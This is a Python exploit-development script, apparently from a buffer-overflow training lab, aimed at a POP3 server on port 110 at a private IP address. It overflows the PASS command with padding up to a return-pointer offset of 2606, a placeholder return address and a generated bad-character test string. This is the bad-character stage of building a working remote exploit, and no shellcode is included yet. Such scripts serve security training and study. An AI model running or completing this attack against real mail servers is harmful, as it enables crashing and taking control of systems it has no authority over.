#!/usr/bin/python
import socket

# Constants
RHOST = "192.168.80.134"
RPORT = 110
len_buffer = 3500
offset_srp = 2606

# build a happy little message followed by a newline
badchar_test = ""			# Start with an empty string
badchars = [0x00, 0x0A, 0x0D]			# Add known bad characters

# Generate the string
for i in range (0x00, 0xFF+1):		# Range(0x00, 0xFF) only returns up to 0xFE
	if i not in badchars:		# Skip the bad chars
		badchar_test += chr(i)	# Append non nadchars to the string

# Open a file for writing
with open("badchar_test.bin", "wb") as f:
	f.write(badchar_test)

# Create the buffer
buffer = ""
buffer += "A"*(offset_srp - len(buffer))	# padding
buffer += "BBBB"				            # SRP overwrite
buffer += badchar_test 			            # ESP should end up pointing here
buffer += "D"*(len_buffer - len(buffer))	# Training padding
buffer += "\n"

try:        
    # create a TCP connection (socket)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((RHOST, RPORT))

    # Recieve the banner
    data = s.recv(1024)
    print("Received: {0}".format(data))

    # Send the username
    data = "USER test\r\n"
    s.send(data)
    print("Sent: {0}".format(data))
    data = s.recv(1024)
    print("Received: {0}".format(data))

    # Send the pasword
    data = "PASS " + buffer + "\r\n"
    s.send(data)
    print("Sent: {0}".format(data))
    data = s.recv(1024)
    print("Received: {0}".format(data))

    # Close the socket
    s.send("QUIT\r\n")
    s.close()
    print("\n[+] Done")
except:
    print("\n[-] Could not connect to POP3...")